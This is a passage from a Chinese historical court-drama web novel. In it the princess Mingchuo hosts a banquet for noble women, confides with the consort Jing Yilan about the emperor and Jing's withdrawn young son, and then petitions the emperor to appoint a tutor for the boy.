敬漪澜倒是没什么意外的:“袁将军常年出征在外,桓夫人要教养这许多孩子,操持这么大一个袁府,总有个要人帮衬的时候。只要不是彼此性子别太坏,日子过着过着,最后还不是女人们互相依靠?”
明绰不以为然:“操持家中事务自有管家和仆役使唤,依靠谁不好,去依靠丈夫的妾室?”
敬漪澜也不跟她辩,就只是笑着摇摇头。明绰看了她一眼,又道:“我知道你的意思。”
若是盲婚哑嫁,不过是图个门当户对,那自然是日子怎么都能过下去。可是桓宜华不一样啊,当年她名声都不要了,家里反对也不顾,那么主动地非要嫁给袁煦……她求的会是“这日子能过下去就算了”吗?
还是这十几年,她到底也是心死了。
明绰把桓宜华的花笺一丢,妥协了似的,嘱咐阴青蘅去递帖子,那就请“阖府女眷”都过来。
“若是袁家还有来投奔的亲戚,什么堂侄儿媳妇表哥家的嫂子,也都一起来算了,就当我花钱替皇兄做个人情,抚恤袁家好啦!”
阴青蘅眨眨眼:“这话也说给桓夫人听吗?”
明绰让她气个仰倒,这么阴阳怪气的话也就她们私下说说,哪能让桓宜华听见!她笑着骂了阴青蘅一句,让她赶紧去,敬漪澜已经在旁边笑得腰都弯了,明绰转过脸就道:“你别笑,你也得来,把秧儿也带来。”
敬漪澜马上就不笑了。
“这宴上孩子多,”明绰跟她讲道理,“让秧儿也见一见人。”
敬漪澜怕的就是萧秧这个样子,会让别的孩子欺负了。但明绰说了好几次,不能再让秧儿这样不见人了。若是他的世界里只有母亲,那他永远都长不大。
当初乌兰晔不肯说话的时候,她一开始跟敬漪澜一样,保护欲很重。但很快,她自己就有点儿受不了被困在长秋殿里了。那时她手头还有政事要处理,她就狠狠心,让儿子正常出去上课,冯濂之那里也有跟他差不多大的学生。她察觉到,乌兰晔明显是在接触了外人以后情况有慢慢好转的。
敬漪澜这么干脆利落有决断的人,碰到孩子的事情也会无措。可她守着萧秧过了十年,从来也没个人像明
绰这样来给她出出主意,虽然嘴上还是担忧抗拒,心里已经信了七八分。
但萧秧没有旁的兄弟姊妹,总不可能让他去跟玉襄一起玩儿。明绰没见过那孩子几次,听也听说了,崇安公主骄纵蛮横,比谢皇后小时候更甚。
“咱们都看着呢,没人敢欺负秧儿。”明绰打包票似的,“就算看出来秧儿有什么异常,想必也不敢议论的。”
敬漪澜闻言便有些惨然地一笑:“怕也只是当着面不敢说什么。”
“背过身去你也听不到,管那么多做什么?”明绰笑了一声,又劝,“你放心吧,桓姐姐是个心善的人,她教养出来的孩子不会那么不懂事……”明绰顿了顿,突然想到了什么,轻声道,“他们家不懂事那个也不来。”
后半句太轻,敬漪澜没听见:“什么?”
“没什么。”明绰立刻遮掩了一下。
敬漪澜仍是犹豫着,好一会儿,露着一个似笑非笑的神情提醒她:“桓、袁两家可是重臣。”
长公主安排皇长子私下接触重臣家里的孩子,不知道栖凤宫会怎么想,更不知道含清宫会怎么想。
明绰手里已经展开了菜品的单子,眼睛都没抬:“我管他们怎么想?”
皇后管不到长公主。再怎么样她是姐姐,谢星娥还不至于到她面前来充什么“长嫂如母”。至于萧盈……明绰手里的笔一动,顺手就划掉了她不要的菜。
萧盈爱怎么想怎么想。
敬漪澜拗不过明绰,末了还是答应了把萧秧一起带来。等到了宫宴那天,又左右放心不下,出门前拉着萧秧跟他说了好大一篇话,让他做好见陌生人的心理准备。这么一耽搁下来,等敬漪澜到上阳宫的时候,宴已经热热闹闹地开上了。
明绰今日精心地打扮过,梳了个新奇的高髻,舍弃了步摇和金钗,反而用一条本该戴在脖子里的五彩宝石链子编进了头发里,额前还坠了一颗特别耀眼的红宝石,其余耳上、脖子里、手上一样妆饰也无。桓宜华坐在她身边,通身珠光宝气,也没失了她的身份,但就是比不上长公主这一颗宝石的点睛之笔。
两人久别重逢,正叽叽咕咕地说个没完。其余的女眷们各自三三两两地坐着,也在说话,要么就是看顾着自己的孩子。阴青蘅报了一声“皇长子到”的时候,殿中立刻出现了短暂的静默,然后明绰先站了起来,去迎敬漪澜落座。
有长公主表了个态度,旁人心里就算惊异,也没表现出来,一一地跟敬夫人行过礼,宴就继续下去。萧秧也坐在母亲身边,因尚无人跟他说话,所以也看不出他有什么异常,看起来只是个乖巧文气的男孩子。
桓宜华轻轻地拽了一下自己的大女儿:“韶音,你去陪陪皇长子殿下。”
袁韶音点了点头,说了声“好”便要起身,明绰赶紧又叫住她:“韶音回来!”
桓宜华意外地看着她,不明白她这又是葫芦里卖的什么药。
明绰压低了声音:“让秧儿先适应一下,咱们聊咱们的就是。”
桓宜华也不太懂,反正都听她的。一边笑着摇摇头,又好奇地打量了敬漪澜两眼。袁煦虽受皇恩,但桓宜华与皇后交情一般。宫里的女眷不请她,她也不会常来,都没见过敬夫人。
“你怎么同她要好起来了?”桓宜华怎么想都觉得惊奇,“皇后还不气死了?”
明绰笑着把酒端起来:“有缘吧。”
桓宜华把视线转回来,颇有些懊恼:“你也不早说皇长子要来,那我就不……哎呀。”
长公主说了热闹些,她今日带的人就多。除了袁煦的妾室,还有她阿嫂庾夫人——就是皇后母舅家里那个庾。桓湛仍在执金吾卫中,如今被调去统管宿州大营,不在建康了。她们姑嫂往来密切,桓宜华今日自然没有不带的道理。跟庾夫人交好的还有崔挺的女儿,和他妹妹崔庆英,另外楚培的女儿楚恕颐也在。打眼一看,全都是执金吾卫军侯家里的女眷。
执金吾卫直属天子,皇长子私下跟这些人的家眷宴饮,谁听了不会多想?
明绰意味深长地笑笑,朝楚恕颐那边微微侧了侧头。楚恕颐跟谢星娥年龄相仿,当年在女尚书那里读书的时候就玩得近。桓宜华有这种担心,恐怕也就是楚恕颐会去跟谢皇后嚼舌头。
但明绰这样怀疑,桓宜华又连连摇头:“恕颐不会,这个你放心!”
明绰:“那总不能是崔庆英吧!”
要是她没记错,当年崔庆英不肯嫁姜家那丑郎君,可是胆大包天地当着皇后的面就去跟陛下抛媚眼。原先谢星娥跟她关系也是不错的,但是明绰还没离开建康的时候,谢星娥就已经恨她恨得牙痒了。
桓宜华也记得这事儿:“她自然也不会去说的……”
“那怕什么,”明绰全然不往心里去,“这不都是自己人吗?”
桓宜华还想说什么,但是明绰已经笑嘻嘻地凑过来,压低了声音问:“后来她嫁了姜家那丑郎没有?”
“嫁了……唉,你这话说的,”桓宜华有点儿不好意思,又补了一句,“其实他也没那么丑……”
可是话没说完,明绰就斜着眼睛调侃地看着她:“当年全建康的世家女子们都去大营校场里看美郎君,可是桓姐姐带的头哇。”
天底下就她最在意郎君的美丑,这会儿还演起来了!
桓宜华让她说得脸上一红,嗔怪地在她手臂上拧了一下,也不端着了,就是隔了几尺远就议论人,还是有些心虚,便掩了唇附到明绰耳边,轻声道:“那姜家还有个旁支的兄弟,倒是俊得很……”
明绰嘴巴一下子张大,又赶紧掩住,也压低了声音:“真的?”
桓宜华挤挤眼睛,明绰又问:“那她夫君……”
“到底有崔中尉撑腰嘛。”桓宜华朝她挤挤眼睛,“她夫君纳了几个妾,她也不管。她要表兄表弟的作陪,她夫君也只当不看见……”
明绰听得直乐,袁韶音听不着,好奇地直探脑袋,桓宜华赶紧把她一推,让她去跟弟弟妹妹们坐一块儿去。又转过头来跟明绰说:“我不跟你说这些了,把我好好的韶音教坏了!”
明绰笑得更厉害:“韶音哪儿还用跟崔庆英学呀,她只要学学你……”
“她敢!”桓宜华咬牙切齿的,“我拿鞭子抽她!”
明绰撇撇嘴,只是不信:“当年桓大将军也说要抽死你呢,你也不肯听啊。”
桓宜华闻言苦笑了一声,明绰见她眼神突然落寞下来,也不笑了,赶紧端酒给她赔礼:“姐姐别生气,我就是开个玩笑……”
“我还有什么气好生的。”桓宜华自嘲地笑笑,“瞧着咱们这一圈人,个个嫁得高门显贵,关起门来,都不过是在一滩烂泥里挣扎,唯有王执瑈落了个清净……”
这个名字也是太过久远了,明绰心里一动,追问道:“她如今怎么样了?”
桓宜华端起了酒杯:“还在龙盘山上做姑子呢。”
明绰惊讶地“啊?”了一声。当年送她出家是权宜之计,照说谢太后倒了台,王家肯定会把女儿接回来,另给她许好人家的。如此精心教养出来的女儿,必然是要作为政治联姻的筹码,为家族再谋前程的。
“那时她父亲没了,母亲又受了牵连,家里风雨飘摇的。王家就想着,还是把她留在慈安比丘尼身边。她也立了誓,要给慈安养老尽孝……”
慈安已经在很多年前就去世了。明绰记得当时在长安收到了一份讣告,因慈安是她的外祖母,萧盈还是特地通知了她一声。只是明绰跟外祖母实在没什么感情,这事儿她知道了也就是知道了而已。
“慈安圆寂之后,王家是想接她还俗的……”桓宜华露出一个好笑的眼神,“她叔叔还想着把她送进宫。”
“那她定是不愿意。”
桓宜华一笑:“当然不愿意。本以为是个最听话好性儿的,谁想到最是刚烈。她划破了自己的脸,对她叔叔说,天子不嫁,王侯不嫁,只愿一生青灯古佛……”桓宜华顿了顿,突然悲从中来似的,“没想到,还是她看得破。”
明绰一时不知道说什么好。她二人年岁相当,门第相当,恐怕很难不生出些互相比较的心肠。当年王执瑈是名门淑女的典范,对桓宜华主动追求嫖姚都尉的行径多有不齿。就连桓宜华与明绰的友谊,也是建立在明绰曾在王执瑈面前维护过她。桓宜华的心思明绰也记得,当年她也是一边嫌王执瑈古板,一边又想学她的贤淑,好讨夫君的欢心。
倏忽半生已过,再想来,空余唏嘘。
“姐姐,”明绰心疼地握住了桓宜华的手,“袁煦这样负你……”
可她刚起了个头,桓宜华就反过来安慰她似的,轻轻拍了拍她的手背,示意她不必再往下说。
“孩子们都这样大了,我还追究什么他负不负我。”桓宜华勉强挤出了一个笑容,“你也不用替我担心,你也看见啦,苻氏和李氏都算是好相处的,还有恕颐站在我这头……”
“楚恕颐?”明绰一愣,这跟她有什么关系?
桓宜华也看着她,然后突然“啊”了一声,觉得好笑:“没人跟你说吗?恕颐早嫁进我们家啦!”
怎么会有人跟她说这个。楚氏门第渐衰,楚培又没什么志气,连执金吾卫的职位都辞了,早早赋闲在家。明绰远在大燕,只有建康朝中权势滔天的世家结亲才能听说一二,楚家的女儿嫁人,自然不值得传到大燕皇后耳中。
但是桓宜华最大的儿子袁识也才十岁。明绰心里已经有了答案,却还是没忍住像个傻子似的追了一句:“她嫁了谁?”
桓宜华笑了:“还能有谁?二郎呀!”
第124章
这是一个无雪的夜,冬天的风冷肃,吹在饮过酒发烫的面颊上,倒有心肺都通彻的舒爽。明绰那个新奇的高髻缺了钗子固定,一场宴下来,早已散了不少碎发落在颊边,她也懒得再理,随手拂了拂,转过脸迎着风,任风把碎发都拂到脑后。
狐裘细软的毛边突然从颈后拂上来,明绰回过头,朝敬漪澜笑了笑,
自己伸出手,把她搭到肩上的狐裘整理好。
宴已经散了,现在就剩下她们俩,还有正一个人在外面看星星的萧秧。敬漪澜说他很喜欢观天象,今日晴空,天上的星子清楚,他看入了神就不肯走了,明绰就干脆把他们母子留下来。
秧儿今日表现算不错的,后来袁韶音跟他说话,他虽然没有回答,但点了两次头,明显是有在听,所以敬漪澜也高兴。明绰让人搬一张矮几出来,重新设座,离秧儿有点儿距离,但始终能看着他。两人吹着风,烤着火,又温上了一壶酒。
“怎么了?”敬漪澜问她。
明绰好一会儿没说话,知道她在问什么。
“他都二十六、快二十七,转眼就奔而立的人啦!”她学着之前听说桓令君骂袁綦的话,然后自嘲地笑起来,声音低了下去,“我怎么会还以为他尚未婚配呢?”
敬漪澜也不搭话,瞧着她头上那发髻实在是摇摇欲坠了,突然伸手拔了自己一根钗,给她拢了拢头发,也不管什么式样了,草草固定了一下。明绰任她动作,以为她会问什么,但敬漪澜始终什么都没说。
其实她真的要问,明绰也没什么好说的。左不过就是袁綦送她回来,一路多有照拂。那时明绰生萧盈的气,也生袁煦的气,反就衬得袁綦好。他是那个肯给她私令,放她离开的人。
明绰也不是什么不通人事的小姑娘了,袁綦的眼神她十三年前没看明白,如今也该看明白了。但他尊重,持礼,一路上也没有过界一步,明绰看明白了,也就是放在心里。
可能就是因为这个,明绰心里老觉得袁綦还是当年送她去风陵渡口的那个少年人,竟然半点也没有想过,他这样的年纪,这样的家世,不可能没有婚配。
明绰知道她当时的反应其实很明显,就算桓宜华没有看出来,敬漪澜也肯定看出来了。她突然表现出了对楚恕颐的极大兴趣,宴上拉着她说了半天,倒是让楚恕颐受宠若惊的。她是个心思很单纯的姑娘,长公主对她和善,她就也跟长公主亲热,什么都往外说。
她说,这婚事是她父亲定下的。当年宫变,她父亲奉命传令出宫,袁綦守在路边劫道,拦下了他的马,夺走了他的令——也正是如此,楚培才悬崖勒马,在当年的惊涛骇浪中及时选对了位置,免去了楚家的大祸。自此,他对袁家这二郎就上了心。上门好几回,硬是跟袁增讨来了这女婿。
楚恕颐爱开玩笑,说其实是她父亲恨不得自己能嫁给袁綦,说得所有人都笑得不行。袁韶音不知道她说的是哪件事,多问了一嘴,楚恕颐口无遮拦地就来了一句“谢后谋反的时候”,说得整个殿里一下子就没人敢接话了。搞得桓宜华在旁边直摇头。
快分别的时候桓宜华还来告罪,好在明绰也不在意这个。桓宜华拉着她的手,又是叹气。
楚培自己是个胸无大志的,就没有指望把女儿培养成什么样子,一概都是由着她的性子来。楚恕颐刚嫁过来那两年,袁綦又在外面领兵不回家,她就顺理成章地保持了闺中女儿的生活状态,没有半点儿做人儿媳妇的自觉,时常把婆母气个仰倒,她还不知道自己哪句话说错了。
袁增的夫人不是什么名门大户,就是荆州的普通人家出身,原本就自伤身份低微,在两个儿媳面前抬不起头来。这下好了,一个心比天大,一个呢,又敏感多心,这相处起来,免不了要桓宜华在中间花心思。
明绰听下来,只觉得她俩不像妯娌,更像是桓宜华又带了个大一点儿的女儿。
“但她天真可爱,也有她天真可爱的好。”桓宜华还要维护两句,“你若在宫中无聊,就常叫她来陪陪你,跟她说话还是很能解闷的。她那张嘴啊……”
这一点明绰倒是也感觉到了。
“倒也是挺般配的。”明绰又道,“这不两个小孩儿吗?”
敬漪澜并不说话,就只是笑了笑,明绰反而让她笑得心虚:“我说得不对吗?”
“我不知道。”敬漪澜唇边的笑意更深,“我又不认识小袁将军。”
明绰哑口无言,也觉得自己可笑,低头轻声道:“亡夫尸骨未寒,我也真是……”
敬漪澜似是不爱听这个:“也快一年了,乌兰国主在地下应该早寒了吧。”
明绰“嘶”了一声,觉得敬漪澜这话真是没有忌讳,怎么比楚恕颐还口无遮拦。但是敬漪澜唇边那微笑有恃无恐的,显然也不怕她。明绰半道又泄了气,无话可说地摇了摇头。
敬漪澜就不跟她调笑了,正色道:“你心里要是真的想要他,就别在意什么亡夫不亡夫的。说到底你是长公主,楚培也没用,你一句话便可让袁綦休妻……”
明绰赶紧摆了摆手,这种事她可做不出来。敬漪澜就把话咽了回去,只道:“那就不要想了。”
明绰好一阵没有说话,她想了么?想什么了?好像也没什么。她有时会想起当时在南阳大营里辗转反侧的夜晚,那个始终站在帘外的身影,还有他每一声的“我在”。听说袁綦去打了大燕使臣的时候,她心里确实有那么一刻震动了一下。这一点倒是没什么不能承认的,有人这样维护她,总是受用的。
但也只能到这一步为止了。
敬漪澜说得对,想,那就做点儿什么。既然不能做、不愿做,那就不要想了。
明绰撑着头,突然又打量起敬漪澜来。这种态度,她心里佩服,但也挺好奇的。她自知能不想就不想了,是因为对袁綦没上多少心。但换成乌兰徵,甚至换成萧盈,她绝对做不到。
敬漪澜被她看得往后一仰:“做什么?”
明
绰凑上去:“你就从来没有喜欢过我皇兄吗?一点儿都没有吗?”
这话她早就想问了,但是总觉得跟敬漪澜还没熟到那个份上。敬漪澜很少主动谈及自己的感受,明绰觉得她不会喜欢这种话题。果然,她一问出来,敬漪澜就露出了一个不太情愿的神色。明绰便拖长了声音,撒娇似的,往她怀里一赖。
敬漪澜继续往后仰,避开她脖子里那一圈狐裘扎到脸上,明绰感觉到她想把自己从怀里推开,就故意搂紧了她的腰,装模作样地喊醉。
敬漪澜任她赖了一会儿,就在明绰以为这个问题就这样过去了的时候,才突然听到敬漪澜声音很低地说了一句:“我和陛下没有缘分。”
明绰意外于她声音里那份憾意。没有伤心,也没有怨怼,就只是平静得如一汪深潭的遗憾。她抬起头,看见敬漪澜已经转过了脸,看着不远处正在仰头观星,浑然不觉外物的儿子。
“有了秧儿的时候,他真的很高兴。”敬漪澜的声音很轻,像是追忆前生的旧事,“但还有一个人,简直比他还要高兴……”
她刚刚有孕的时候,萧盈就下旨将她擢为夫人,位列三淑,形同副后——那时皇后根本无宠,可以说,这后宫里就是以敬夫人为尊的。
所以宋广义更高兴了。
从敬漪澜刚入宫的时候开始,宋广义就把她当成了摇钱的树,下蛋的鹅。他要封赏,要官位,都进宫来求。威胁是不敢的,到底夫妻一场,他了解敬漪澜的弱点在哪里——她可还有一个儿子哪。
这官位,钱财,荣宠,最后不都是为了她自己的儿子求的吗?宋广义看着她抱着新生的萧秧哄,阴阳怪气地斜着眼睛笑。这做娘的,总不能有了小的,就忘了大的呀。
所以她都依了。但萧盈知道宋广义是什么货色,始终不给任何实权,其余钱财和荣宠,能满足的他几乎都满足了。但越是这样,敬漪澜看起来越不开心。很快,秧儿的问题就出现了。
明绰突然想起了灵芝活着的时候说过的话:“他帮着你瞒过秧儿的异常?”
敬漪澜点了点头,她好像知道明绰对萧盈说过什么,替他开脱似的,轻声道:“他也尝试过做一个好父亲。”
萧盈请了无数的大夫,在这个孩子身上花尽了心力。明知道无用,也还是会陪着一遍一遍教孩子说话。那是敬漪澜唯一觉得她与萧盈接近夫妻的时刻,他们为了同一个幼小的生命,在同样无眠的长夜里,流过同样的眼泪。
所以即使后来她与萧盈再不相见,她也心疼过他接连丧子的悲痛。
再然后,她的秘密就被谢家挖了出来,曝光在了所有人面前。
在她内心深处,敬漪澜甚至有些感谢皇后。宋广义再也无法勒索她了,她终于解脱了。也就是从那一刻起,她不再需要陛下的恩宠了。
明绰安静地听着,直到敬漪澜在这里停了下来,她才追问了一句:“为什么?”
这个问题似乎很难回答,敬漪澜考虑了好一会儿,才慎重地开了口:“陛下是一个很宽广的人。”
“嗯?”
“我怕他处置宋家。”敬漪澜苦笑了一声,“宋广义死不足惜,我儿却无辜……但陛下什么都没做。”
“你要彻底断了宋广义的念想?”
敬漪澜叹了口气,原因实在是太多了。她怕宋广义得寸进尺,把萧盈的宽容当成软弱,以为过了这一关就又可以故技重施,最终牵连到她的大儿子。明绰之前也没完全猜错,她还怕再不主动退让,皇后也不会放过萧秧。除去这些,也难免有一些对萧盈的愧疚,但这愧疚里同时还掺杂着一丝说不清道不明的怨。
“还有……”敬漪澜斟酌着,紧闭的蚌艰难地打开一条缝,吐露经年的秘密,“我受不了,他没完没了地安慰我,‘秧儿会没事的’。”
明绰的脸上一下子露出了一个无比复杂的表情。但就这一刻,敬漪澜知道,明绰懂了。
自始至终都无法接受儿子的缺陷的那个人,是萧盈,不是她。敬漪澜不怪他,毕竟他那个时候也太年轻了,秧儿又是他第一个孩子……但敬漪澜自己都不知道她应该怎么去面对这个孩子,她实在没有心力再去照顾萧盈的感受。后面不要他再来承华宫,有意让他不要再见孩子了,也是因为这份引而不发的怨。
明绰问她是不是一点儿都没有喜欢过萧盈,敬漪澜真的回答不了。她的入宫就是不单纯的,所有的温柔慰藉,都是精心算计。这里面也许也有把自己都骗进去的时刻吧,她也曾经感觉到萧盈的真心,但对那时的敬漪澜来说,少年人的真心已经不再是她需要的东西了。
不需要,就不会珍视。不珍视,也就看得很明白,这真心注定朝生暮死。
“手握生杀大权的人,要控制住什么时候不杀,反而是更难的。”敬漪澜突然说,“他放过宋广义的时候我就感觉到了,在他眼里,宋广义不过是他用来缅怀母亲的一块牌位,根本没有资格去真正冒犯到他。他把人心看得太明白了,连自己的感情和欲望都控制得分毫不差。我有的时候也想,当年我真的骗到过他吗?还是其实是他需要一个人来这样骗骗他,才允许了我的一切算计?”
敬漪澜声音低下去:“他太孤独了。”
明绰没说话。她当然知道萧盈孤独,她甚至因此产生了一丝微妙的酸意,好像敬漪澜没有资格来告诉她这个。这个世界上,她才是第一个、也是最知道萧盈的孤独的人。但她同时又为了敬漪澜对萧盈的了解之深而感到惊异。很多人都跟她说过,不明白萧盈在想什么,或者恐惧他,或者赞颂他的仁德,只有敬漪澜看明白了。
她真的很了解他,即使她从不觉得自己爱过他。
明绰突然叹了口气:“何至于此啊……”
她本以为这样的决绝多少是带着点恨的,但是敬漪澜看起来并不恨萧盈,两个人之间分明还有很多和平共处的空间。很多夫妻之间不仅没有爱,甚至没有这种了解和体谅。
但是萧盈毕竟是天子,想来他也不会喜欢一次两次地被拒绝。
“他以为他想从我身上得到的是爱情,其实他想要找的是一个朋友,一个不是他臣子的朋友。”敬漪澜露出了一个略带讽刺的笑意,“男人就是分不清楚这个,再聪明的男人也不行。我拒绝了他的爱情,他就不知道要怎么跟我做这个朋友了。”
明绰一下子笑出来,敬漪澜莫名地看着她,直到她努力平复下来,揩了揩眼角笑出来的一点儿眼泪。
“你是头一个……”明绰的话音里还有笑意,“我头一回听说有人要跟皇帝做‘朋友’。”
敬漪澜笑得不以为意:“皇帝也是人哪。”
“‘王侯将相,宁有种乎?’”明绰朝她竖了个大拇指,敬漪澜伸手把她那个大拇指拍了下去。
明绰不笑了,突然又道:“我替你杀了宋广义,好不好?”
敬漪澜让她这轻描淡写的杀意一惊,瞪大了眼睛看了她一会儿,辨认她是不是开玩笑,但是明绰的表情一点儿看不出来。
“罢了,”敬漪澜让她别闹了,“他这些年也消停了,还去追究做什么?”
明绰歪着头看她,当真是想不明白:“他怎么会想到把自己的妻子送进宫?”
“因为没钱去买别的美人了。”
刚来建康那段日子,陛下的封赏根本杯水车薪。宋广义自觉也是个侯爷了,要摆排场、做人情。建康的富贵欢场像一头巨兽张开了嘴,嚼都不嚼就把他们这样的平民百姓咽下去了。
那时候都知道皇后无宠,朝中一半的卫道士在劝陛下早正夫妻纲常,另一半就在想法子送美人进宫。于是宋广义跪下来求她,给她磕头,喊她祖奶奶……什么招数都用上了,让她看在儿子的前程份上,再说进宫,进宫那是去享福的呀……
明绰从鼻子里“哼”了一声:“千刀万剐的杂碎。”
“他死不死不要紧,”敬漪澜冷淡得很,“我只担心我儿子。”
明绰神色一动:“你后来还见过他么?”
敬漪澜挑了挑眉,好像觉得明绰这个问题都是多余问的。就算整个建康都知道了真相,她也要顾及陛下和皇长子的颜面,装也要装作和宋家毫无关系。那孩子就在建康,出了宫门到宋府也不过十几里地,中间却是母子不能相认的十多年。
敬漪澜说了一晚上,情绪都很平静,唯独此刻似是突然哽住了喉咙。她只好转过头,强迫自己把视线放在了另一个儿子身上。
明绰却不肯放过她,又问了一个多余的问题:“你想他吗?”
敬漪澜做了个深呼吸,没有看她:“想。”
然后又苦笑一声:“但我没有办法。”
明绰便凑了过来,轻轻地把狐裘展开,搂住了她。敬漪澜闻到她身上尚未消散的酒气和熏香交缠的味道,然后明绰说:“我也想我儿子。我也没有办法。”
敬漪澜没有说话,轻轻地
歪了歪头,以额头贴住了她的。萧秧还是仰着头,不知道从星星里看见了什么,突然独自一个笑了起来。明绰意外地撑起了脖子,这还是她第一次听到萧秧笑。他的声音好干净,完全不在乎有没有人看,也不需要向任何人解释为什么笑,就只是纯粹的欢喜。
明绰突然说:“今天我真高兴。回建康以后,还是第一次这么高兴。”
敬漪澜不信似的:“真的吗?”
萧秧突然挥起了手,旁若无人地对着遥远的星空叫起来,没说什么,就只是一些“嗷嗷”的声音。亘古长夜,天地间只有他自己。明绰看着手舞足蹈的孩子,也跟着轻轻地笑了出来。
“真的。”明绰回答她。
第125章
明绰已经预料到,谢星娥不会对她在上阳宫设私宴还带上了敬夫人母子一事坐视不管,但也没有想到,她会直接在元会朝贺上发作。
元会朝贺一向是仅次于年尾祭礼的大宴,今年又是萧盈登基三十年,宗亲重臣都在,人太多了,敬夫人母子便照例没有出现。皇后连祝酒三巡都没忍得过去,就对长公主阴阳怪气起来,问她今日怎么没把皇长子带出来。
明绰当时什么都没说。不管怎么样,大雍帝后同为至尊,这个场合,她不能说什么。
但她心里也忍不住觉得好笑。谢星娥根本算不上有什么心计,她的刻薄、残忍和不容人都摆到明面上,所倚仗的就是她大雍皇后的“名正言顺”。受了委屈就要发作,有一点儿威风就要立刻摆,从来没有学会考虑一下别人的感受……说实话,还是明绰那个从小被宠到大的表妹,除了她现在站到了姐姐的对立面,其余什么都没变。
这么多年防备着段知妘借刀杀人、祸水东引等等层出不穷的手段,乍然见到谢星娥这种明面路数的,倒是把明绰弄得哭笑不得。
长公主既然不搭茬,皇后咄咄逼人也没用,被萧盈两句话一带就含混了过去。明绰心里也就明白过来,若谢星娥当真有些过人的手段,萧盈反而不会留她到今日了。
年后又落一场雪,东乡公主破天荒地让上阳宫里炖了滋补的汤,亲自送去了含清宫。
年节休朝五日,朝臣们都还在休息,但萧盈没有。任之带明绰进去的时候,萧盈从桌前站起来迎她,案上摊着的明显是朝臣上的黄纸公文。明绰装作不经意地扫了一眼,自然地躬身行礼。
她还未屈膝,萧盈已经走过来,托着她的手肘把她扶了起来。明绰回来以后一直还没来过含清宫,此时不由环视一圈,多看了两眼。宫中的陈设倒是没有太大变化,就寝的内殿连通当年谢郯给兄妹两上课的小房间,所有的案几屏风、熏炉摆件,都是积年的旧物。明绰没忍住有一瞬间的晃神,朝房中的刻漏看了一眼,似是担心自己又迟到了。
萧盈放开她的手肘,自然地握住了她的手指,在自己的掌心搓了搓:“还下着雪,你怎么来了?”
明绰把手抽出来,去端宫人手中托盘上的汤:“东乡来给皇兄拜年了。”
还不等萧盈说什么,明绰已经自顾自地到铺满了公文的案前跪坐下来,把汤盅放在了公文旁边,然后伸手把摊开的那份折了两折,理到一边,再将汤盅的盖子掀开,抬头看着萧盈:“皇兄?”
萧盈站在那里,神情莫测地看了她一会儿,然后招了招手,示意伺候的人都下去,这才走到她身边,也坐了下来。明绰双手奉着汤匙给他,动作恭敬,十足是个伺候人的姿态,反而让萧盈愣了一下。然后他垂下眼睛,很轻地笑了一声,接过了那汤匙,只问她:“想要什么?”
他们兄妹之间这点儿默契还是有的。
明绰唇边勾出一个弧度:“请皇兄给秧儿好好请个先生,教他读书。”
瓷勺在汤盅底部刮出细微的声响,萧盈辨认着汤里放了什么食材,既没说好,也没说不好,先喝了两口,才垂着眼睛问了一句:“他能见外人吗?”
明绰的眼睛轻轻一眯,一下子明白了敬漪澜说的那个话什么意思,很有照着皇兄后脑给他来上一下的冲动。
“敬夫人虽识几个字,到底是民间出身,所学有限,若是仅靠她一个人教,岂不耽误了秧儿?”
萧盈还是没抬眼:“朕可以亲自教他读书。”
是敬漪澜不愿意与他相见。既不愿意他去承华宫,也不愿意将孩子单独送来含清宫。
明绰还是笑着,用一种明显到根本没有想骗过萧盈的敷衍语气回道:“国家上下都仰赖皇兄,怎好让皇兄亲自操劳?”
萧盈眉头轻轻一皱,很难说是让明绰这种语气惹恼了还是逗笑了,侧过脸盯着她的脸看了一会儿,然后把汤盅一放,突然道:“你若真喜欢这个孩子,我干脆将他过继给你,也省得皇后急得觉也睡不着。”
明绰到底没忍住,咬着后槽牙“嘶”了一声:“你……!”
见她这个反应,萧盈反而笑起来。以前明绰是不会跟他这样的,有话直接就说了,有时撒个娇,耍个赖,知道他有求必应——即便当年很多事他根本还做不了主,但明绰还是有恃无恐。她几时学会了这样婉转相求?萧盈的笑意淡了两分,心里想,是因为乌兰徵吗?
明绰怕他疑心什么,又道:“秧儿这个样子,是不能继承大统的,此事我心里也有数。皇兄春秋鼎盛,以后肯定还会有更好的儿子,立谁都好,做妹妹的不敢干涉国本大计。只是这孩子与我儿年岁相仿,我难免有些移情……皇兄,”她说得情深意切起来,伸手攀住了萧盈的手臂,“秧儿不比别的孩子差什么,就算做不了皇帝,总该通学问、明事理,以后是在建康养他一世也好,封地外放也好,他总有自己的一辈子要过啊。”
萧盈安静地听她说完,前面那些承诺不干涉国本的都没往心里听,唯独一句“与我儿年岁相仿”听见了,眼神柔和了几分,安慰地拍了拍她的手:“朕知道了。”
他就说了这么一句,就又端起汤盅接着喝了。明绰还以为他会说一说来教秧儿读书的人选,但是萧盈也没有要跟她商量这件事的意思。明绰眼巴巴地等了一会儿,只听到他突然问了一句:“你和星娥自小要好,怎么闹成这样了?”
那天宴上瞧着明绰退让,转头又来含清宫替皇长子求学,显然也没有半点要考虑皇后的意思。
明绰没好气地把挂在他手臂上的手收回来,只问了一句:“你说呢?”
萧盈手里的勺子一顿,转头看着她。明绰一下子意识到这话还有些别的意思,倒像是在说她们姐妹是因为他才反目的,可要她解释仍心寒于谢星娥十几年前的选择,既显得她小气,又难免提起谢太后那些旧事。明绰轻轻咬了咬下唇,还没想出来该怎么回答,萧盈已经不需要她回答了,低着头,搅了搅汤底还剩的一点儿药渣,意味不明地笑了笑。
见他这个表情,明绰心里有一股无名火,但又不好解释,顺手就抓了他桌上份奏疏翻了两下。这个动作她并没有多想,看到萧盈意外地一挑眉才意识到不对——这里不是洛阳,除天子以外的任何人随意翻看奏疏公文都是死罪。可是拿都拿起来了,明绰赌气起来,就握在手里,看着萧盈。
“皇兄要治我的罪吗?”
萧盈笑了一声,把汤盅盖上放到了一边,答非所问地说了一句:“乌兰徵都许得,朕有什么许不得?”
明绰险些当场翻一个白眼。她在洛阳的时候可不用乌兰徵来“许”什么,那些奏疏公文就是上给她看的。大燕皇后曾经的权势,建康只是听说,萧盈也只能想象。她心里别扭,又想把这份黄纸放下,但萧盈反而道:“这是你舅舅的上书,正好,你也看看。”
明绰的动作一滞,到底展开了奏疏垂眼一扫。谢聿别的不说,一笔好字颇有造诣,深具当年谢太尉的遗风,只是写的内容就不那么好了。谢聿上书,称大燕先王驾崩眼看着就要满一年了,长公主大功之期将至,当尽早再择良婿。
明绰看完了一遍,似是难以相信自己的眼睛,从头再读了一遍,半晌,才极响亮地“哈”了一声出来。
